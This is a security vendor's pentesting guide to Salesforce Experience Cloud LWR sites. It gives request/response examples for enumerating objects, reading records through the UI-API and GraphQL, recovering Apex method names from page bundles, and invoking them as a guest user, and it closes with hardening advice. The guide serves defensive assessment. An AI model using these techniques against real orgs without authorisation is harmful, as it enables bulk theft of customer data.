LWR Is the New Aura: A Pentester's Guide to Salesforce's WebRuntime API


Salesforce Experience Cloud sites - public-facing web apps that run natively on top of a Salesforce org - are one of the most consistently under-scrutinized parts of the Salesforce attack surface. They're reachable by anyone with a browser, they're driven by a guest user identity that inherits whatever sharing rules and object permissions an admin configured for it, and unlike the rest of the org, nothing about them requires a login to start probing.
A short history of the attack surface
For years, the main type of sites was Aura, which replaced the older force.com. We've written about it before - POST a descriptor to /aura, call HostConfigController.getConfigData to enumerate the objects a guest can see, page through records with SelectableListDataProviderController.getItems, and pull custom logic out of ApexActionController.execute. It's well-documented, and it's exactly what ShinyHunters and others have spent the past year exploiting at scale - the group claims 300-400 compromised organizations through misconfigured Experience Cloud guest users, deliberately prioritizing cybersecurity vendors for their client lists and support cases.
But Salesforce has been quietly moving Experience Cloud to a new framework since 2021: LWR (Lightning Web Runtime), first shipped as a pilot "Build Your Own (LWR)" template and opened to every Experience Cloud edition within a couple of releases. LWR sites do not have a functioning /aura endpoint. Point an Aura-only scanner - AuraInspector included - at a pure LWR site and you'll get nothing but errors.
But it does not mean that LWR sites cannot be targeted. Some attackers and boutique pentesters already do. In the City-Forum campaign we tracked, alongside a heavy Aura enumeration flood, the operator also targeted LWR sites. It's a small fraction of that campaign's overall volume, but it's real: an operator in the wild treating LWR's data layer as a first-class target, using a technique we hadn't seen in any public tool or write-up before.
We first demonstrated LWR techniques at DEF CON 34 in Las Vegas, but now we want to explain it in full: the WebRuntime API's UI-API and GraphQL endpoints, and - going further than that campaign did - how to enumerate and invoke the custom Apex logic sitting behind an LWR site's guest user.
The WebRuntime API
Everything in LWR's data layer lives under one path prefix:
/webruntime/api/services/data/{version}/
Two things sit behind it: a set of UI-API REST endpoints, and a GraphQL endpoint. Both are gated by a single Experience Builder preference - "Allow guest users to access public APIs." If it's off, every request below comes back 401 with an INSUFFICIENT_ACCESS error code. If it's on, the server still enforces the guest profile's object and field-level permissions and sharing rules on top - the API being open doesn't override the data model, it just gives you a much richer way to query it than Aura's fixed action set ever did. This means, that just like in Aura sites, a well configured guest user profile and sharing rules ensures security, regardless of whether public API is on or off. This is not a vulnerability in Salesforce.
UI-API
object-info, called with no object name, is where you actually start - it's analogous to Aura's apiNamesToKeyPrefixes in spirit. It lists objects the guest user can access using this API, including custom ones.
GET /webruntime/api/services/data/v67.0/ui-api/object-info/
?language=en-US&asGuest=true&htmlEncode=false
{
"objects": {
"Account": { "apiName": "Account", "keyPrefix": "001", "label": "Account",
"labelPlural": "Accounts", "nameFields": ["Name"],
"objectInfoUrl": "/services/data/v67.0/ui-api/object-info/Account" },
"ContentDocument": { "apiName": "ContentDocument", "keyPrefix": "069", "label": "File",
"labelPlural": "Files", "nameFields": ["Title"],
"objectInfoUrl": "/services/data/v67.0/ui-api/object-info/ContentDocument" },
"EntityDefinition": { "apiName": "EntityDefinition", "keyPrefix": "4ie", "label": "Entity Definition",
"labelPlural": "Entity Definitions", "nameFields": [],
"objectInfoUrl": "/services/data/v67.0/ui-api/object-info/EntityDefinition" }
}
}
To learn about the object and its fields, including custom ones, we can use object-info:
GET /webruntime/api/services/data/v67.0/ui-api/object-info/Account
?language=en-US&asGuest=true&htmlEncode=false
{
"apiName": "Account",
"keyPrefix": "001",
"fields": {
"Name": { "dataType": "String", "updateable": false, "createable": false },
"Phone": { "dataType": "Phone", "updateable": false, "createable": false },
"OwnerId": { "dataType": "Reference", "updateable": false, "createable": false },
"AnnualRevenue": { "dataType": "Currency", "updateable": false, "createable": false },
"BillingStateCode": { "dataType": "Picklist", "updateable": false, "createable": false }
}
}
There's a batch form too - /ui-api/object-info/batch/{Account,Contact,Case} - which profiles every object a site touches in one round trip instead of one request per object.
If we want to retrieve a specific record by id we can use get record:
GET /webruntime/api/services/data/v67.0/ui-api/records/001gL00000hOnd9QAC
?fields=Account.Name,Account.Phone,Account.BillingStateCode
&language=en-US&asGuest=true&htmlEncode=false
{
"apiName": "Account",
"id": "001gL00000hOnd9QAC",
"fields": {
"Name": { "value": "Bank of America", "displayValue": null },
"Phone": { "value": null, "displayValue": null },
"BillingStateCode": { "value": null, "displayValue": null }
}
}
This matters whenever you already have a record Id from somewhere else and want its full field values in one call, without walking a GraphQL cursor to find it. The server still checks field-level security per field; a locked-down field just comes back with a null value instead of throwing.
But if we don't have IDs, we can use list-info which requires two steps, the first to list the lists themselves, and the second to list records:
GET /webruntime/api/services/data/v67.0/ui-api/list-info/Account
?language=en-US&asGuest=true&htmlEncode=false
{
"count": 6,
"objectApiName": "Account",
"lists": [
{ "apiName": "AllAccounts", "id": "00BgL00000GgvFfUAJ", "label": "All Accounts" },
{ "apiName": "MyAccounts", "id": "00BgL00000GgvFlUAJ", "label": "My Accounts" },
{ "apiName": "NewLastWeek", "id": "00BgL00000GgvFAUAZ", "label": "New Last Week" },
{ "apiName": "NewThisWeek", "id": "00BgL00000GgvALUAZ", "label": "New This Week" },
{ "apiName": "PlatinumandGoldSLACustomers", "id": "00BgL00000GgvFPUAZ", "label": "Platinum and Gold SLA Customers" },
{ "apiName": "RecentlyViewedAccounts", "id": "00BgL00000GgvFeUAJ", "label": "Recently Viewed Accounts" }
]
}
Read the list names themselves before doing anything else - PlatinumandGoldSLACustomers just told us this org segments accounts by contract tier, for free, before a single record has been pulled. To get the actual records behind any of these, call list-records, addressing the view either by its apiName under the object or directly by its id - both forms work:
GET /webruntime/api/services/data/v67.0/ui-api/list-records/Account/AllAccounts?language=en-US&asGuest=true&htmlEncode=false
{
"count": 14,
"listReference": { "id": "00BgL00000GgvFfUAJ", "listViewApiName": "AllAccounts", "objectApiName": "Account" },
"records": [
{
"id": "001gL00000hOnd9QAC",
"fields": {
"Name": { "value": "Bank of America" },
"Phone": { "value": null },
"Site": { "value": null },
"Type": { "value": null }
}
}
]
}
GraphQL
The other half of the data layer is POST /webruntime/api/services/data/{version}/graphql, with the same asGuest=true query parameters. Two things to get right that are easy to get wrong: the query must be a named operation, and operationName must match that name exactly - an anonymous query { ... } with an arbitrary operationName value comes back "Unknown operation named '...'.". You can reach the same schema information the bare object-info call gave you here too, by querying EntityDefinition directly - useful if you're already scripting against GraphQL and don't want a second round trip to REST:
query getEntities {
uiapi {
query {
EntityDefinition(first: 2000) {
edges { node { QualifiedApiName { value } KeyPrefix { value } } }
}
}
}
}
Then read records, paging with a cursor. Real capture:
query account {
uiapi {
query {
Account(first: 3) {
edges { node { Name { value } Phone { value } } }
totalCount
pageInfo { endCursor hasNextPage }
}
}
}
}
{
"data": {
"uiapi": {
"query": {
"Account": {
"edges": [
{ "node": { "Name": { "value": "Edge Communications" }, "Phone": { "value": "(512) 757-6000" } } },
{ "node": { "Name": { "value": "Burlington Textiles Corp of America" }, "Phone": { "value": "(336) 222-7000" } } }
],
"totalCount": 14,
"pageInfo": { "endCursor": "djE6Mg==", "hasNextPage": true }
}
}
}
}
}
totalCount up front tells you whether an object is worth pulling before you commit to walking every page of it.
Apex
Just like in Aura sites, Salesforce developers use Apex to power custom components and extend the native functionality of Salesforce. And just like in Aura, to make an Apex method available to a component, developers use the same @AuraEnabled annotation. Apex classes are interesting because they usually run in System Mode - which means they bypass object-level and field-level security, and they often run in the risky without sharing mode, which means they also ignore record-level access controls.
How to enumerate it
Just like in Aura sites, different pages have different Apex methods in them. In LWR sites, we can see the methods defined in the JS code of each page.
It starts as a plain module definition, compiled straight into the page's JS:
LWR.define(
"@salesforce/apex/UserDetailsController.getCurrentUserDetails",
["exports", "lwc", "force/ldsAdaptersApex"],
function (e, n, s) {
const invoker = s.getApexInvoker("", "@udd/01pgL000009scHd", "getCurrentUserDetails", "true");
...
}
);
In Aura we retrieved the routerInitializer to list pages. In LWR, the first HTML response for any route on the site includes importMappings.imports, a static, app-wide map from @view/<name> to a concrete bundle URL which contains the download URL for every page's compiled bundle - including pages with no visible navigation link, and including the shared header/footer layout view every page inherits. We can use it to retrieve every page in the site and analyze the JS code, and find every block like the one above.
The next step is to recover parameter names. This method is called via @wire, and for a @wire-decorated call, the compiler emits a registerDecorators(...) block whose config function returns an object literal - and that literal's keys are the actual Apex parameter names, because the server matches parameters by name and the compiler has no way around emitting them verbatim. Real capture, trimmed to the entry for this method:
registerDecorators(UserDetailsComponent, {
publicProps: { fields: { config: 0 } },
wire: {
wiredUser: {
adapter: GetCurrentUserDetailsAdapter.default,
dynamic: ["fields"],
method: 1,
config: function (e) { return { fields: e.fields }; }
}
}
});
fields is the recovered parameter name - it's the literal key the compiler had no choice but to emit, since the server matches Apex parameters by name.
Not every call goes through @wire. An imperative (non-@wire) call skips the registerDecorators indirection entirely - the same method would instead be invoked directly, with the parameter object literal sitting right at the call site: getCurrentUserDetails({ fields: this.fields }). Same parameter, same recovery principle - read the object literal's keys - just without a wire: block to unwrap first.
How to execute it
Once you have a Class.method pair and its parameter names, invoking it is a plain HTTP request against /webruntime/api/apex/execute. The body is a fixed structure, six fields every time:
Real request and response:
POST /webruntime/api/apex/execute?language=en-US&asGuest=true&htmlEncode=false
Content-Type: application/json
{"classname":"@udd/01pdL00000XJrFK","method":"getAccountDetails","namespace":"",
"params":{"accountId":"001dL00002GqNuMQAV","fields":"Id, Name, Phone, Website, BillingCity, BillingState, BillingCountry, AnnualRevenue, NumberOfEmployees"},
"cacheable":false,"isContinuation":false}
{"returnValue":{"Id":"001dL00002GqNuMQAV","Name":"Burlington Textiles Corp of America",
"Phone":"(336) 222-7000","Website":"www.burlington.com","BillingCity":"Burlington",
"BillingState":"NC","BillingCountry":"USA","AnnualRevenue":350000000,"NumberOfEmployees":9000},
"cacheable":false}
classname doesn't have to be the @udd/<Id> form - a compiled bundle usually gives you that form because that's what the build-time compiler happened to resolve the class reference to, but the endpoint accepts a plain literal class name just as well. Same request, same real data back, just with classname swapped:
{"classname":"ProfileController","method":"getAccountDetails","namespace":"",
"params":{"accountId":"001dL00002GqNuMQAV","fields":"Id, Name, Phone"},
"cacheable":false,"isContinuation":false}
{"returnValue":{"Id":"001dL00002GqNuMQAV","Name":"Burlington Textiles Corp of America","Phone":"(336) 222-7000"},"cacheable":false}
Worth knowing either way: if a bundle only ever shows you one form, don't assume the other one is unavailable - both resolve to the same class.
The server still enforces the guest profile's Apex class access on top of all this - if the guest profile can't touch the class, the method simply won't trigger, same as it would over Aura.
Mitigation
Everything that hardens an Aura site hardens an LWR site the same way, because the identity behind both is the same guest user:
- Review guest sharing rules first. It decides what GraphQL and the UI-API return, and what any Apex method running in the default (with sharing) mode can see - the one thing it doesn't govern is without sharing Apex, which ignores it entirely and needs its own audit (below).
- Strip object- and field-level permissions from the guest profile down to what the site actually needs to render for anonymous visitors.
- Audit every Apex class the guest profile can reach - especially anything declared without sharing. without sharing is an explicit opt-out of the org's row-level security for that class's execution context.
And specific to LWR: disable "Allow guest users to access public APIs" in Experience Builder, under Workspaces → Administration → Preferences, if possible. It is required for many out-of-the-box components, so it's crucial to test the site still works as expected without it.
- It is not the guest profile's "API Enabled" permission. A guest without "API Enabled" can still be fully exposed through the UI-API - the two controls are unrelated, and disabling "API Enabled" alone does nothing to close this. It should still be disabled for guest users regardless - it introduces other risks - just don't mistake it for this control.
- It does not close direct Apex invocation. /webruntime/api/apex/execute is governed entirely by the guest profile's Apex class access, independent of the public-API toggle. Turning that toggle off stops GraphQL and UI-API reads; it does nothing to a guest-reachable Apex method. Both surfaces need to be checked, and neither one substitutes for the other.
Reco continuously checks both frameworks for exactly this: guest sharing rules, guest object and field permissions, anonymous Apex class access, and LWR's public-API exposure - surfaced as a posture finding with the specific setting to fix, not a generic "review your guest user" reminder.

.png)
.png)
.png)
